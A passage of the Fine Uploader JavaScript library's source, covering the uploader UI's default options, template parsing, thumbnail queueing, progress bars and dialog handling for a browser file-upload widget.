            _showTooltip: function(id, text) {
                this._templating.getFileContainer(id).title = text;
            },
            _showCancelLink: function(id) {
                if (!this._options.disableCancelForFormUploads || qq.supportedFeatures.ajaxUploading) {
                    this._templating.showCancel(id);
                }
            },
            _itemError: function(code, name, item) {
                var message = this._parent.prototype._itemError.apply(this, arguments);
                this._options.showMessage(message);
            },
            _batchError: function(message) {
                this._parent.prototype._batchError.apply(this, arguments);
                this._options.showMessage(message);
            },
            _setupPastePrompt: function() {
                var self = this;
                this._options.callbacks.onPasteReceived = function() {
                    var message = self._options.paste.namePromptMessage, defaultVal = self._options.paste.defaultName;
                    return self._options.showPrompt(message, defaultVal);
                };
            },
            _fileOrBlobRejected: function(id, name) {
                this._totalFilesInBatch -= 1;
                this._parent.prototype._fileOrBlobRejected.apply(this, arguments);
            },
            _prepareItemsForUpload: function(items, params, endpoint) {
                this._totalFilesInBatch = items.length;
                this._filesInBatchAddedToUi = 0;
                this._parent.prototype._prepareItemsForUpload.apply(this, arguments);
            },
            _maybeUpdateThumbnail: function(fileId) {
                var thumbnailUrl = this._thumbnailUrls[fileId], fileStatus = this.getUploads({
                    id: fileId
                }).status;
                if (fileStatus !== qq.status.DELETED && (thumbnailUrl || this._options.thumbnails.placeholders.waitUntilResponse || !qq.supportedFeatures.imagePreviews)) {
                    this._templating.updateThumbnail(fileId, thumbnailUrl, this._options.thumbnails.customResizer);
                }
            },
            _addCannedFile: function(sessionData) {
                var id = this._parent.prototype._addCannedFile.apply(this, arguments);
                this._addToList(id, this.getName(id), true);
                this._templating.hideSpinner(id);
                this._templating.hideCancel(id);
                this._markFileAsSuccessful(id);
                return id;
            },
            _setSize: function(id, newSize) {
                this._parent.prototype._setSize.apply(this, arguments);
                this._templating.updateSize(id, this._formatSize(newSize));
            },
            _sessionRequestComplete: function() {
                this._templating.addCacheToDom();
                this._parent.prototype._sessionRequestComplete.apply(this, arguments);
            }
        };
    })();
    qq.FineUploader = function(o, namespace) {
        "use strict";
        var self = this;
        this._parent = namespace ? qq[namespace].FineUploaderBasic : qq.FineUploaderBasic;
        this._parent.apply(this, arguments);
        qq.extend(this._options, {
            element: null,
            button: null,
            listElement: null,
            dragAndDrop: {
                extraDropzones: [],
                reportDirectoryPaths: false
            },
            text: {
                formatProgress: "{percent}% of {total_size}",
                failUpload: "Upload failed",
                waitingForResponse: "Processing...",
                paused: "Paused"
            },
            template: "qq-template",
            classes: {
                retrying: "qq-upload-retrying",
                retryable: "qq-upload-retryable",
                success: "qq-upload-success",
                fail: "qq-upload-fail",
                editable: "qq-editable",
                hide: "qq-hide",
                dropActive: "qq-upload-drop-area-active"
            },
            failedUploadTextDisplay: {
                mode: "default",
                responseProperty: "error",
                enableTooltip: true
            },
            messages: {
                tooManyFilesError: "You may only drop one file",
                unsupportedBrowser: "Unrecoverable error - this browser does not permit file uploading of any kind."
            },
            retry: {
                showAutoRetryNote: true,
                autoRetryNote: "Retrying {retryNum}/{maxAuto}..."
            },
            deleteFile: {
                forceConfirm: false,
                confirmMessage: "Are you sure you want to delete {filename}?",
                deletingStatusText: "Deleting...",
                deletingFailedText: "Delete failed"
            },
            display: {
                fileSizeOnSubmit: false,
                prependFiles: false
            },
            paste: {
                promptForName: false,
                namePromptMessage: "Please name this image"
            },
            thumbnails: {
                customResizer: null,
                maxCount: 0,
                placeholders: {
                    waitUntilResponse: false,
                    notAvailablePath: null,
                    waitingPath: null
                },
                timeBetweenThumbs: 750
            },
            scaling: {
                hideScaled: false
            },
            showMessage: function(message) {
                if (self._templating.hasDialog("alert")) {
                    return self._templating.showDialog("alert", message);
                } else {
                    setTimeout(function() {
                        window.alert(message);
                    }, 0);
                }
            },
            showConfirm: function(message) {
                if (self._templating.hasDialog("confirm")) {
                    return self._templating.showDialog("confirm", message);
                } else {
                    return window.confirm(message);
                }
            },
            showPrompt: function(message, defaultValue) {
                if (self._templating.hasDialog("prompt")) {
                    return self._templating.showDialog("prompt", message, defaultValue);
                } else {
                    return window.prompt(message, defaultValue);
                }
            }
        }, true);
        qq.extend(this._options, o, true);
        this._templating = new qq.Templating({
            log: qq.bind(this.log, this),
            templateIdOrEl: this._options.template,
            containerEl: this._options.element,
            fileContainerEl: this._options.listElement,
            button: this._options.button,
            imageGenerator: this._imageGenerator,
            classes: {
                hide: this._options.classes.hide,
                editable: this._options.classes.editable
            },
            limits: {
                maxThumbs: this._options.thumbnails.maxCount,
                timeBetweenThumbs: this._options.thumbnails.timeBetweenThumbs
            },
            placeholders: {
                waitUntilUpdate: this._options.thumbnails.placeholders.waitUntilResponse,
                thumbnailNotAvailable: this._options.thumbnails.placeholders.notAvailablePath,
                waitingForThumbnail: this._options.thumbnails.placeholders.waitingPath
            },
            text: this._options.text
        });
        if (this._options.workarounds.ios8SafariUploads && qq.ios800() && qq.iosSafari()) {
            this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari);
        } else if (!qq.supportedFeatures.uploading || this._options.cors.expected && !qq.supportedFeatures.uploadCors) {
            this._templating.renderFailure(this._options.messages.unsupportedBrowser);
        } else {
            this._wrapCallbacks();
            this._templating.render();
            this._classes = this._options.classes;
            if (!this._options.button && this._templating.getButton()) {
                this._defaultButtonId = this._createUploadButton({
                    element: this._templating.getButton(),
                    title: this._options.text.fileInputTitle
                }).getButtonId();
            }
            this._setupClickAndEditEventHandlers();
            if (qq.DragAndDrop && qq.supportedFeatures.fileDrop) {
                this._dnd = this._setupDragAndDrop();
            }
            if (this._options.paste.targetElement && this._options.paste.promptForName) {
                if (qq.PasteSupport) {
                    this._setupPastePrompt();
                } else {
                    this.log("Paste support module not found.", "error");
                }
            }
            this._totalFilesInBatch = 0;
            this._filesInBatchAddedToUi = 0;
        }
    };
    qq.extend(qq.FineUploader.prototype, qq.basePublicApi);
    qq.extend(qq.FineUploader.prototype, qq.basePrivateApi);
    qq.extend(qq.FineUploader.prototype, qq.uiPublicApi);
    qq.extend(qq.FineUploader.prototype, qq.uiPrivateApi);
    qq.Templating = function(spec) {
        "use strict";
        var FILE_ID_ATTR = "qq-file-id", FILE_CLASS_PREFIX = "qq-file-id-", THUMBNAIL_MAX_SIZE_ATTR = "qq-max-size", THUMBNAIL_SERVER_SCALE_ATTR = "qq-server-scale", HIDE_DROPZONE_ATTR = "qq-hide-dropzone", DROPZPONE_TEXT_ATTR = "qq-drop-area-text", IN_PROGRESS_CLASS = "qq-in-progress", HIDDEN_FOREVER_CLASS = "qq-hidden-forever", fileBatch = {
            content: document.createDocumentFragment(),
            map: {}
        }, isCancelDisabled = false, generatedThumbnails = 0, thumbnailQueueMonitorRunning = false, thumbGenerationQueue = [], thumbnailMaxSize = -1, options = {
            log: null,
            limits: {
                maxThumbs: 0,
                timeBetweenThumbs: 750
            },
            templateIdOrEl: "qq-template",
            containerEl: null,
            fileContainerEl: null,
            button: null,
            imageGenerator: null,
            classes: {
                hide: "qq-hide",
                editable: "qq-editable"
            },
            placeholders: {
                waitUntilUpdate: false,
                thumbnailNotAvailable: null,
                waitingForThumbnail: null
            },
            text: {
                paused: "Paused"
            }
        }, selectorClasses = {
            button: "qq-upload-button-selector",
            alertDialog: "qq-alert-dialog-selector",
            dialogCancelButton: "qq-cancel-button-selector",
            confirmDialog: "qq-confirm-dialog-selector",
            dialogMessage: "qq-dialog-message-selector",
            dialogOkButton: "qq-ok-button-selector",
            promptDialog: "qq-prompt-dialog-selector",
            uploader: "qq-uploader-selector",
            drop: "qq-upload-drop-area-selector",
            list: "qq-upload-list-selector",
            progressBarContainer: "qq-progress-bar-container-selector",
            progressBar: "qq-progress-bar-selector",
            totalProgressBarContainer: "qq-total-progress-bar-container-selector",
            totalProgressBar: "qq-total-progress-bar-selector",
            file: "qq-upload-file-selector",
            spinner: "qq-upload-spinner-selector",
            size: "qq-upload-size-selector",
            cancel: "qq-upload-cancel-selector",
            pause: "qq-upload-pause-selector",
            continueButton: "qq-upload-continue-selector",
            deleteButton: "qq-upload-delete-selector",
            retry: "qq-upload-retry-selector",
            statusText: "qq-upload-status-text-selector",
            editFilenameInput: "qq-edit-filename-selector",
            editNameIcon: "qq-edit-filename-icon-selector",
            dropText: "qq-upload-drop-area-text-selector",
            dropProcessing: "qq-drop-processing-selector",
            dropProcessingSpinner: "qq-drop-processing-spinner-selector",
            thumbnail: "qq-thumbnail-selector"
        }, previewGeneration = {}, cachedThumbnailNotAvailableImg = new qq.Promise(), cachedWaitingForThumbnailImg = new qq.Promise(), log, isEditElementsExist, isRetryElementExist, templateHtml, container, fileList, showThumbnails, serverScale, cacheThumbnailPlaceholders = function() {
            var notAvailableUrl = options.placeholders.thumbnailNotAvailable, waitingUrl = options.placeholders.waitingForThumbnail, spec = {
                maxSize: thumbnailMaxSize,
                scale: serverScale
            };
            if (showThumbnails) {
                if (notAvailableUrl) {
                    options.imageGenerator.generate(notAvailableUrl, new Image(), spec).then(function(updatedImg) {
                        cachedThumbnailNotAvailableImg.success(updatedImg);
                    }, function() {
                        cachedThumbnailNotAvailableImg.failure();
                        log("Problem loading 'not available' placeholder image at " + notAvailableUrl, "error");
                    });
                } else {
                    cachedThumbnailNotAvailableImg.failure();
                }
                if (waitingUrl) {
                    options.imageGenerator.generate(waitingUrl, new Image(), spec).then(function(updatedImg) {
                        cachedWaitingForThumbnailImg.success(updatedImg);
                    }, function() {
                        cachedWaitingForThumbnailImg.failure();
                        log("Problem loading 'waiting for thumbnail' placeholder image at " + waitingUrl, "error");
                    });
                } else {
                    cachedWaitingForThumbnailImg.failure();
                }
            }
        }, displayWaitingImg = function(thumbnail) {
            var waitingImgPlacement = new qq.Promise();
            cachedWaitingForThumbnailImg.then(function(img) {
                maybeScalePlaceholderViaCss(img, thumbnail);
                if (!thumbnail.src) {
                    thumbnail.src = img.src;
                    thumbnail.onload = function() {
                        thumbnail.onload = null;
                        show(thumbnail);
                        waitingImgPlacement.success();
                    };
                } else {
                    waitingImgPlacement.success();
                }
            }, function() {
                hide(thumbnail);
                waitingImgPlacement.success();
            });
            return waitingImgPlacement;
        }, generateNewPreview = function(id, blob, spec) {
            var thumbnail = getThumbnail(id);
            log("Generating new thumbnail for " + id);
            blob.qqThumbnailId = id;
            return options.imageGenerator.generate(blob, thumbnail, spec).then(function() {
                generatedThumbnails++;
                show(thumbnail);
                previewGeneration[id].success();
            }, function() {
                previewGeneration[id].failure();
                if (!options.placeholders.waitUntilUpdate) {
                    maybeSetDisplayNotAvailableImg(id, thumbnail);
                }
            });
        }, generateNextQueuedPreview = function() {
            if (thumbGenerationQueue.length) {
                thumbnailQueueMonitorRunning = true;
                var queuedThumbRequest = thumbGenerationQueue.shift();
                if (queuedThumbRequest.update) {
                    processUpdateQueuedPreviewRequest(queuedThumbRequest);
                } else {
                    processNewQueuedPreviewRequest(queuedThumbRequest);
                }
            } else {
                thumbnailQueueMonitorRunning = false;
            }
        }, getCancel = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.cancel);
        }, getContinue = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.continueButton);
        }, getDialog = function(type) {
            return getTemplateEl(container, selectorClasses[type + "Dialog"]);
        }, getDelete = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.deleteButton);
        }, getDropProcessing = function() {
            return getTemplateEl(container, selectorClasses.dropProcessing);
        }, getEditIcon = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.editNameIcon);
        }, getFile = function(id) {
            return fileBatch.map[id] || qq(fileList).getFirstByClass(FILE_CLASS_PREFIX + id);
        }, getFilename = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.file);
        }, getPause = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.pause);
        }, getProgress = function(id) {
            if (id == null) {
                return getTemplateEl(container, selectorClasses.totalProgressBarContainer) || getTemplateEl(container, selectorClasses.totalProgressBar);
            }
            return getTemplateEl(getFile(id), selectorClasses.progressBarContainer) || getTemplateEl(getFile(id), selectorClasses.progressBar);
        }, getRetry = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.retry);
        }, getSize = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.size);
        }, getSpinner = function(id) {
            return getTemplateEl(getFile(id), selectorClasses.spinner);
        }, getTemplateEl = function(context, cssClass) {
            return context && qq(context).getFirstByClass(cssClass);
        }, getThumbnail = function(id) {
            return showThumbnails && getTemplateEl(getFile(id), selectorClasses.thumbnail);
        }, hide = function(el) {
            el && qq(el).addClass(options.classes.hide);
        }, maybeScalePlaceholderViaCss = function(placeholder, thumbnail) {
            var maxWidth = placeholder.style.maxWidth, maxHeight = placeholder.style.maxHeight;
            if (maxHeight && maxWidth && !thumbnail.style.maxWidth && !thumbnail.style.maxHeight) {
                qq(thumbnail).css({
                    maxWidth: maxWidth,
                    maxHeight: maxHeight
                });
            }
        }, maybeSetDisplayNotAvailableImg = function(id, thumbnail) {
            var previewing = previewGeneration[id] || new qq.Promise().failure(), notAvailableImgPlacement = new qq.Promise();
            cachedThumbnailNotAvailableImg.then(function(img) {
                previewing.then(function() {
                    notAvailableImgPlacement.success();
                }, function() {
                    maybeScalePlaceholderViaCss(img, thumbnail);
                    thumbnail.onload = function() {
                        thumbnail.onload = null;
                        notAvailableImgPlacement.success();
                    };
                    thumbnail.src = img.src;
                    show(thumbnail);
                });
            });
            return notAvailableImgPlacement;
        }, parseAndGetTemplate = function() {
            var scriptEl, scriptHtml, fileListNode, tempTemplateEl, fileListHtml, defaultButton, dropArea, thumbnail, dropProcessing, dropTextEl, uploaderEl;
            log("Parsing template");
            if (options.templateIdOrEl == null) {
                throw new Error("You MUST specify either a template element or ID!");
            }
            if (qq.isString(options.templateIdOrEl)) {
                scriptEl = document.getElementById(options.templateIdOrEl);
                if (scriptEl === null) {
                    throw new Error(qq.format("Cannot find template script at ID '{}'!", options.templateIdOrEl));
                }
                scriptHtml = scriptEl.innerHTML;
            } else {
                if (options.templateIdOrEl.innerHTML === undefined) {
                    throw new Error("You have specified an invalid value for the template option!  " + "It must be an ID or an Element.");
                }
                scriptHtml = options.templateIdOrEl.innerHTML;
            }
            scriptHtml = qq.trimStr(scriptHtml);
            tempTemplateEl = document.createElement("div");
            tempTemplateEl.appendChild(qq.toElement(scriptHtml));
            uploaderEl = qq(tempTemplateEl).getFirstByClass(selectorClasses.uploader);
            if (options.button) {
                defaultButton = qq(tempTemplateEl).getFirstByClass(selectorClasses.button);
                if (defaultButton) {
                    qq(defaultButton).remove();
                }
            }
            if (!qq.DragAndDrop || !qq.supportedFeatures.fileDrop) {
                dropProcessing = qq(tempTemplateEl).getFirstByClass(selectorClasses.dropProcessing);
                if (dropProcessing) {
                    qq(dropProcessing).remove();
                }
            }
            dropArea = qq(tempTemplateEl).getFirstByClass(selectorClasses.drop);
            if (dropArea && !qq.DragAndDrop) {
                log("DnD module unavailable.", "info");
                qq(dropArea).remove();
            }
            if (!qq.supportedFeatures.fileDrop) {
                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);
                if (dropArea && qq(dropArea).hasAttribute(HIDE_DROPZONE_ATTR)) {
                    qq(dropArea).css({
                        display: "none"
                    });
                }
            } else if (qq(uploaderEl).hasAttribute(DROPZPONE_TEXT_ATTR) && dropArea) {
                dropTextEl = qq(dropArea).getFirstByClass(selectorClasses.dropText);
                dropTextEl && qq(dropTextEl).remove();
            }
            thumbnail = qq(tempTemplateEl).getFirstByClass(selectorClasses.thumbnail);
            if (!showThumbnails) {
                thumbnail && qq(thumbnail).remove();
            } else if (thumbnail) {
                thumbnailMaxSize = parseInt(thumbnail.getAttribute(THUMBNAIL_MAX_SIZE_ATTR));
                thumbnailMaxSize = thumbnailMaxSize > 0 ? thumbnailMaxSize : null;
                serverScale = qq(thumbnail).hasAttribute(THUMBNAIL_SERVER_SCALE_ATTR);
            }
            showThumbnails = showThumbnails && thumbnail;
            isEditElementsExist = qq(tempTemplateEl).getByClass(selectorClasses.editFilenameInput).length > 0;
            isRetryElementExist = qq(tempTemplateEl).getByClass(selectorClasses.retry).length > 0;
            fileListNode = qq(tempTemplateEl).getFirstByClass(selectorClasses.list);
            if (fileListNode == null) {
                throw new Error("Could not find the file list container in the template!");
            }
            fileListHtml = fileListNode.innerHTML;
            fileListNode.innerHTML = "";
            if (tempTemplateEl.getElementsByTagName("DIALOG").length) {
                document.createElement("dialog");
            }
            log("Template parsing complete");
            return {
                template: qq.trimStr(tempTemplateEl.innerHTML),
                fileTemplate: qq.trimStr(fileListHtml)
            };
        }, prependFile = function(el, index, fileList) {
            var parentEl = fileList, beforeEl = parentEl.firstChild;
            if (index > 0) {
                beforeEl = qq(parentEl).children()[index].nextSibling;
            }
            parentEl.insertBefore(el, beforeEl);
        }, processNewQueuedPreviewRequest = function(queuedThumbRequest) {
            var id = queuedThumbRequest.id, optFileOrBlob = queuedThumbRequest.optFileOrBlob, relatedThumbnailId = optFileOrBlob && optFileOrBlob.qqThumbnailId, thumbnail = getThumbnail(id), spec = {
                customResizeFunction: queuedThumbRequest.customResizeFunction,
                maxSize: thumbnailMaxSize,
                orient: true,
                scale: true
            };
            if (qq.supportedFeatures.imagePreviews) {
                if (thumbnail) {
                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {
                        maybeSetDisplayNotAvailableImg(id, thumbnail);
                        generateNextQueuedPreview();
                    } else {
                        displayWaitingImg(thumbnail).done(function() {
                            previewGeneration[id] = new qq.Promise();
                            previewGeneration[id].done(function() {
                                setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                            });
                            if (relatedThumbnailId != null) {
                                useCachedPreview(id, relatedThumbnailId);
                            } else {
                                generateNewPreview(id, optFileOrBlob, spec);
                            }
                        });
                    }
                } else {
                    generateNextQueuedPreview();
                }
            } else if (thumbnail) {
                displayWaitingImg(thumbnail);
                generateNextQueuedPreview();
            }
        }, processUpdateQueuedPreviewRequest = function(queuedThumbRequest) {
            var id = queuedThumbRequest.id, thumbnailUrl = queuedThumbRequest.thumbnailUrl, showWaitingImg = queuedThumbRequest.showWaitingImg, thumbnail = getThumbnail(id), spec = {
                customResizeFunction: queuedThumbRequest.customResizeFunction,
                scale: serverScale,
                maxSize: thumbnailMaxSize
            };
            if (thumbnail) {
                if (thumbnailUrl) {
                    if (options.limits.maxThumbs && options.limits.maxThumbs <= generatedThumbnails) {
                        maybeSetDisplayNotAvailableImg(id, thumbnail);
                        generateNextQueuedPreview();
                    } else {
                        if (showWaitingImg) {
                            displayWaitingImg(thumbnail);
                        }
                        return options.imageGenerator.generate(thumbnailUrl, thumbnail, spec).then(function() {
                            show(thumbnail);
                            generatedThumbnails++;
                            setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                        }, function() {
                            maybeSetDisplayNotAvailableImg(id, thumbnail);
                            setTimeout(generateNextQueuedPreview, options.limits.timeBetweenThumbs);
                        });
                    }
                } else {
                    maybeSetDisplayNotAvailableImg(id, thumbnail);
                    generateNextQueuedPreview();
                }
            }
        }, setProgressBarWidth = function(id, percent) {
            var bar = getProgress(id), progressBarSelector = id == null ? selectorClasses.totalProgressBar : selectorClasses.progressBar;
            if (bar && !qq(bar).hasClass(progressBarSelector)) {
                bar = qq(bar).getFirstByClass(progressBarSelector);
            }
            if (bar) {
                qq(bar).css({
                    width: percent + "%"
                });
                bar.setAttribute("aria-valuenow", percent);
            }
        }, show = function(el) {
            el && qq(el).removeClass(options.classes.hide);
        }, useCachedPreview = function(targetThumbnailId, cachedThumbnailId) {
            var targetThumbnail = getThumbnail(targetThumbnailId), cachedThumbnail = getThumbnail(cachedThumbnailId);
            log(qq.format("ID {} is the same file as ID {}.  Will use generated thumbnail from ID {} instead.", targetThumbnailId, cachedThumbnailId, cachedThumbnailId));
            previewGeneration[cachedThumbnailId].then(function() {
                generatedThumbnails++;
                previewGeneration[targetThumbnailId].success();
                log(qq.format("Now using previously generated thumbnail created for ID {} on ID {}.", cachedThumbnailId, targetThumbnailId));
                targetThumbnail.src = cachedThumbnail.src;
                show(targetThumbnail);
            }, function() {
                previewGeneration[targetThumbnailId].failure();
                if (!options.placeholders.waitUntilUpdate) {
                    maybeSetDisplayNotAvailableImg(targetThumbnailId, targetThumbnail);
                }
            });
        };
        qq.extend(options, spec);
        log = options.log;
        if (!qq.supportedFeatures.imagePreviews) {
            options.limits.timeBetweenThumbs = 0;
            options.limits.maxThumbs = 0;
        }
        container = options.containerEl;
        showThumbnails = options.imageGenerator !== undefined;
        templateHtml = parseAndGetTemplate();
        cacheThumbnailPlaceholders();
        qq.extend(this, {
            render: function() {
                log("Rendering template in DOM.");
                generatedThumbnails = 0;
                container.innerHTML = templateHtml.template;
                hide(getDropProcessing());
                this.hideTotalProgress();
                fileList = options.fileContainerEl || getTemplateEl(container, selectorClasses.list);
                log("Template rendering complete");
            },
            renderFailure: function(message) {
                var cantRenderEl = qq.toElement(message);
                container.innerHTML = "";
                container.appendChild(cantRenderEl);
            },
            reset: function() {
                this.render();
            },
            clearFiles: function() {
                fileList.innerHTML = "";
            },
            disableCancel: function() {
                isCancelDisabled = true;
            },
            addFile: function(id, name, prependInfo, hideForever, batch) {
                var fileEl = qq.toElement(templateHtml.fileTemplate), fileNameEl = getTemplateEl(fileEl, selectorClasses.file), uploaderEl = getTemplateEl(container, selectorClasses.uploader), fileContainer = batch ? fileBatch.content : fileList, thumb;
                if (batch) {
                    fileBatch.map[id] = fileEl;
                }
                qq(fileEl).addClass(FILE_CLASS_PREFIX + id);
                uploaderEl.removeAttribute(DROPZPONE_TEXT_ATTR);
                if (fileNameEl) {
                    qq(fileNameEl).setText(name);
                    fileNameEl.setAttribute("title", name);
                }
                fileEl.setAttribute(FILE_ID_ATTR, id);
                if (prependInfo) {
                    prependFile(fileEl, prependInfo.index, fileContainer);
                } else {
                    fileContainer.appendChild(fileEl);
                }
                if (hideForever) {
                    fileEl.style.display = "none";
                    qq(fileEl).addClass(HIDDEN_FOREVER_CLASS);
                } else {
                    hide(getProgress(id));
                    hide(getSize(id));
                    hide(getDelete(id));
                    hide(getRetry(id));
                    hide(getPause(id));
                    hide(getContinue(id));
                    if (isCancelDisabled) {
                        this.hideCancel(id);
                    }
                    thumb = getThumbnail(id);
                    if (thumb && !thumb.src) {
                        cachedWaitingForThumbnailImg.then(function(waitingImg) {
                            thumb.src = waitingImg.src;
                            if (waitingImg.style.maxHeight && waitingImg.style.maxWidth) {
                                qq(thumb).css({
                                    maxHeight: waitingImg.style.maxHeight,
                                    maxWidth: waitingImg.style.maxWidth
                                });
                            }
                            show(thumb);
                        });
                    }
                }
            },
            addFileToCache: function(id, name, prependInfo, hideForever) {
                this.addFile(id, name, prependInfo, hideForever, true);
            },
            addCacheToDom: function() {
                fileList.appendChild(fileBatch.content);
                fileBatch.content = document.createDocumentFragment();
                fileBatch.map = {};
            },
            removeFile: function(id) {
                qq(getFile(id)).remove();
            },
            getFileId: function(el) {
                var currentNode = el;
                if (currentNode) {
                    while (currentNode.getAttribute(FILE_ID_ATTR) == null) {
                        currentNode = currentNode.parentNode;
                    }
                    return parseInt(currentNode.getAttribute(FILE_ID_ATTR));
                }
            },
            getFileList: function() {
                return fileList;
            },
            markFilenameEditable: function(id) {
                var filename = getFilename(id);
                filename && qq(filename).addClass(options.classes.editable);
            },
            updateFilename: function(id, name) {
                var filenameEl = getFilename(id);
                if (filenameEl) {
                    qq(filenameEl).setText(name);
                    filenameEl.setAttribute("title", name);
                }
            },
            hideFilename: function(id) {
                hide(getFilename(id));
            },
            showFilename: function(id) {
                show(getFilename(id));
            },
            isFileName: function(el) {
                return qq(el).hasClass(selectorClasses.file);
            },
            getButton: function() {
                return options.button || getTemplateEl(container, selectorClasses.button);
            },
            hideDropProcessing: function() {
                hide(getDropProcessing());
            },
            showDropProcessing: function() {
                show(getDropProcessing());
            },
            getDropZone: function() {
                return getTemplateEl(container, selectorClasses.drop);
            },
            isEditFilenamePossible: function() {
                return isEditElementsExist;
            },
            hideRetry: function(id) {
                hide(getRetry(id));
            },
            isRetryPossible: function() {
                return isRetryElementExist;
            },
            showRetry: function(id) {
                show(getRetry(id));
            },
            getFileContainer: function(id) {
                return getFile(id);
            },
            showEditIcon: function(id) {
                var icon = getEditIcon(id);
                icon && qq(icon).addClass(options.classes.editable);
            },
            isHiddenForever: function(id) {
                return qq(getFile(id)).hasClass(HIDDEN_FOREVER_CLASS);
            },
            hideEditIcon: function(id) {
                var icon = getEditIcon(id);
                icon && qq(icon).removeClass(options.classes.editable);
            },
            isEditIcon: function(el) {
                return qq(el).hasClass(selectorClasses.editNameIcon, true);
            },
            getEditInput: function(id) {
                return getTemplateEl(getFile(id), selectorClasses.editFilenameInput);
            },
            isEditInput: function(el) {
                return qq(el).hasClass(selectorClasses.editFilenameInput, true);
            },
            updateProgress: function(id, loaded, total) {
                var bar = getProgress(id), percent;
                if (bar && total > 0) {
                    percent = Math.round(loaded / total * 100);
                    if (percent === 100) {
                        hide(bar);
                    } else {
                        show(bar);
                    }
                    setProgressBarWidth(id, percent);
                }
            },
            updateTotalProgress: function(loaded, total) {
                this.updateProgress(null, loaded, total);
            },
            hideProgress: function(id) {
                var bar = getProgress(id);
                bar && hide(bar);
            },
            hideTotalProgress: function() {
                this.hideProgress();
            },
            resetProgress: function(id) {
                setProgressBarWidth(id, 0);
                this.hideTotalProgress(id);
            },
            resetTotalProgress: function() {
                this.resetProgress();
            },
            showCancel: function(id) {
                if (!isCancelDisabled) {
                    var cancel = getCancel(id);
                    cancel && qq(cancel).removeClass(options.classes.hide);
                }
            },
            hideCancel: function(id) {
                hide(getCancel(id));
            },
            isCancel: function(el) {
                return qq(el).hasClass(selectorClasses.cancel, true);
            },
            allowPause: function(id) {
                show(getPause(id));
                hide(getContinue(id));
            },
            uploadPaused: function(id) {
                this.setStatusText(id, options.text.paused);
                this.allowContinueButton(id);
                hide(getSpinner(id));
            },
            hidePause: function(id) {
                hide(getPause(id));
            },
            isPause: function(el) {
                return qq(el).hasClass(selectorClasses.pause, true);
            },
            isContinueButton: function(el) {
                return qq(el).hasClass(selectorClasses.continueButton, true);
            },
            allowContinueButton: function(id) {
                show(getContinue(id));
                hide(getPause(id));
            },
            uploadContinued: function(id) {
                this.setStatusText(id, "");
                this.allowPause(id);
                show(getSpinner(id));
            },
            showDeleteButton: function(id) {
                show(getDelete(id));
            },
            hideDeleteButton: function(id) {
                hide(getDelete(id));
            },
            isDeleteButton: function(el) {
                return qq(el).hasClass(selectorClasses.deleteButton, true);
            },
            isRetry: function(el) {
                return qq(el).hasClass(selectorClasses.retry, true);
            },
            updateSize: function(id, text) {
                var size = getSize(id);
                if (size) {
                    show(size);
                    qq(size).setText(text);
                }
            },
            setStatusText: function(id, text) {
                var textEl = getTemplateEl(getFile(id), selectorClasses.statusText);
                if (textEl) {
                    if (text == null) {
                        qq(textEl).clearText();
                    } else {
                        qq(textEl).setText(text);
                    }
                }
            },
            hideSpinner: function(id) {
                qq(getFile(id)).removeClass(IN_PROGRESS_CLASS);
                hide(getSpinner(id));
            },
            showSpinner: function(id) {
                qq(getFile(id)).addClass(IN_PROGRESS_CLASS);
                show(getSpinner(id));
            },
            generatePreview: function(id, optFileOrBlob, customResizeFunction) {
                if (!this.isHiddenForever(id)) {
                    thumbGenerationQueue.push({
                        id: id,
                        customResizeFunction: customResizeFunction,
                        optFileOrBlob: optFileOrBlob
                    });
                    !thumbnailQueueMonitorRunning && generateNextQueuedPreview();
                }
            },
            updateThumbnail: function(id, thumbnailUrl, showWaitingImg, customResizeFunction) {
                if (!this.isHiddenForever(id)) {
                    thumbGenerationQueue.push({
                        customResizeFunction: customResizeFunction,
                        update: true,
                        id: id,
                        thumbnailUrl: thumbnailUrl,
                        showWaitingImg: showWaitingImg
                    });
                    !thumbnailQueueMonitorRunning && generateNextQueuedPreview();
                }
            },
            hasDialog: function(type) {
                return qq.supportedFeatures.dialogElement && !!getDialog(type);
            },
            showDialog: function(type, message, defaultValue) {
                var dialog = getDialog(type), messageEl = getTemplateEl(dialog, selectorClasses.dialogMessage), inputEl = dialog.getElementsByTagName("INPUT")[0], cancelBtn = getTemplateEl(dialog, selectorClasses.dialogCancelButton), okBtn = getTemplateEl(dialog, selectorClasses.dialogOkButton), promise = new qq.Promise(), closeHandler = function() {
                    cancelBtn.removeEventListener("click", cancelClickHandler);
                    okBtn && okBtn.removeEventListener("click", okClickHandler);
                    promise.failure();
                }, cancelClickHandler = function() {
                    cancelBtn.removeEventListener("click", cancelClickHandler);
                    dialog.close();
                }, okClickHandler = function() {
                    dialog.removeEventListener("close", closeHandler);
                    okBtn.removeEventListener("click", okClickHandler);
                    dialog.close();
                    promise.success(inputEl && inputEl.value);
                };
                dialog.addEventListener("close", closeHandler);
                cancelBtn.addEventListener("click", cancelClickHandler);
                okBtn && okBtn.addEventListener("click", okClickHandler);
                if (inputEl) {
                    inputEl.value = defaultValue;
                }
                messageEl.textContent = message;
                dialog.showModal();
                return promise;
            }
        });
    };
    qq.UiEventHandler = function(s, protectedApi) {
        "use strict";
        var disposer = new qq.DisposeSupport(), spec = {
            eventType: "click",
            attachTo: null,
            onHandled: function(target, event) {}
        };
        qq.extend(this, {
            addHandler: function(element) {
                addHandler(element);
            },
            dispose: function() {
                disposer.dispose();
            }
        });
        function addHandler(element) {
            disposer.attach(element, spec.eventType, function(event) {
                event = event || window.event;
                var target = event.target || event.srcElement;
                spec.onHandled(target, event);
            });
        }
        qq.extend(protectedApi, {
            getFileIdFromItem: function(item) {
                return item.qqFileId;
            },
            getDisposeSupport: function() {
                return disposer;
            }
        });
        qq.extend(spec, s);
        if (spec.attachTo) {
            addHandler(spec.attachTo);
        }
    };
    qq.FileButtonsClickHandler = function(s) {
        "use strict";
        var inheritedInternalApi = {}, spec = {
            templating: null,
            log: function(message, lvl) {},
